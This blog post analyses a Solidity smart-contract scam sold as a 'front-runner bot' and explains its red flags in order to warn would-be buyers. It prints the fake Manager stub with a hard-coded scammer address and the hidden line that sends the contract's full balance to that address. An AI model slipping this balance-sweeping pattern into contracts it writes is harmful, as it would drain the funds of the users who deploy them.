Anatomy of a Smart Contract Scam

Keir Finlow-Bates
5 min readMay 3, 2022

I was contacted by someone today, asking me if I could look at the source code for a “front-runner bot” that their friend had bought, in order to see if it was genuine or a scam. Because I’m taking the Easter weekend off, I agreed to have a look (yeah — when I’m not doing paid blockchain stuff, I like to do unpaid blockchain stuff in my spare time).

Surprisingly, the file posted to me was a Solidity contract. (I’m not going to post the contract here, because I don’t want anyone to actually go off and try to use it).

Front-running

Why is a smart contract surprising?

Because a front-runner bot is something that monitors transactions being submitted to the blockchain, determines whether a given transaction is going to be profitable, and if it is, the bot submits the same transaction with a hefty miner reward to encourage the miners out there to process the bot transaction first.

This then results in the bot making the profits from the transaction, rather than the original person spotting the opportunity.

A smart contract cannot sit there, monitoring the “mempool” of unprocessed transactions. Firstly, smart contracts can only act on stuff that is already included in the blockchain, and secondly, they only jump into action when a transaction is submitted that triggers one of their functions. They’re like vending machines, which only do something when someone puts money into them.

A front-runner bot should be running on a server next to an Ethereum node, monitoring what is going on in the peer-to-peer network around the core blockchain data.

Don’t judge a contract by its cover

I had a look at the code, and at first glance, it appeared to be more like an arbitrage automation contract. The main body of the code contained a function called `action()` which looked like it executed a series of commands to:

  • load up a Pancakeswap deposit address with the ETH sent to the function along with the function call,
  • create an ERC20 token,
  • take out a flash loan from Aave,
  • convert half of the loan to DAI tokens,
  • create two swap pools on Pancakeswap for the created token, half with the DAI, and half with the remaining ETH loan
  • perform swaps between the pools to profit from something mystical called “self-arbitrage” in a comment in the code,
  • move the profits to the callers wallet, and
  • replay the flash loan

So, clearly not a front runner bot. That’s the first red flag.

The second one is that the comments in the contract talk about how it is intended for the Ethereum mainnet, and not for the Binance Smart Chain. But Pancakeswap is a DEX on the Binance Smart Chain, so what is all this pancake stuff about?

This prompted me to have a closer look at all the `imports` in the contract. At the top, there were a total of five, all of which were just interfaces. An interface import is something that describes what the underlying functions expect as inputs and will give as outputs, without actually implementing the functions. They are a bit like the fake facades to buildings in a movie-set: the doors and windows are there, but there’s nothing on the other side.

Hidden in the middle of the code was a rather odd import pulling code off the IPFS. That, I will put here:

pragma solidity ^0.5.0contract Manager {
function performTasks() public pure{

}

function pancakeswapDepositAddress() public pure returns (address) {
return 0x933B91682E821f50DE20D9cf457a5c883d8bEC43;
}
}
//pancakeswapfunction

Throughout the main body of code, there were calls to functions of the Manager, which is defined in this code. Except, the manager only has two functions — one is the `performTasks` function, which contains no code whatsoever, and the other one is called `pancakeswapDepositAddress`, which when called returns the Ethereum address 0x933B91682E821f50DE20D9cf457a5c883d8bEC43.

More red flags.

And then the penny dropped. Look at this line, nestled away near the beginning of the definition for the main contract:

address(uint160(manager.pancakeswapDepositAddress())).transfer(address(this).balance);

The person being scammed deploys the contract, then calls the `action()` function with a payable amount to supposedly fund the contract with some gas money to execute the amazing arbitrage swap code, and the contract immediately transfers the entire balance of the contract (which consists of the gas money) to the 0x933… address. The address has nothing to do with Pancakeswap — it is an Externally Owned Account (EOA), which is a fancy way of saying it’s someone’s Ethereum address.

The rest of the activity of the contract is just smoke-screens. There are no living rooms and kitchens behind the fake facade, so the contract achieves nothing after sweeping out its funds to the scammer’s address.

It turns out that there is one instance of someone being scammed out of 0.505 ETH through this though. You can see the internal transactions here on Etherscan, in which someone deployed the contract, sent nearly half an ETH, presumably was disappointed that nothing happened but thought they’d try again with a few hundredths of an ETH, and then gave up.

The activity for the scammer’s address shows the above transactions, and one earlier transaction, which was for a couple of hundred dollars and was quickly withdrawn. I would guess that it was a test run by the scammer to see if the whole setup actually worked.

Conclusion

As scams go, this is an odd one. The mark needs to have enough knowledge to know how to compile a contract, deploy it, and then interact with it without the aid of a web3 website, but not enough knowledge to be able to dig into what is going on underneath.

But it does illustrate that there are people out there trying to think up new ways to extract crypto from others using lies and without giving anything of value in return. Being reasonably au fait with Solidity is no guarantee you won’t be targeted.

One of the sad things is that I’ve thought of at least three different simple ways in which the setup of this scam could be “improved” to make deployment easier, and to sucker marks into giving away larger sums of money, but I’m going to try to forget about them.

Anyway, in summary:

Don’t deploy and run smart contracts you bought from the equivalent of a dodgy guy behind a dingy bar located in a bad area of town.

--

--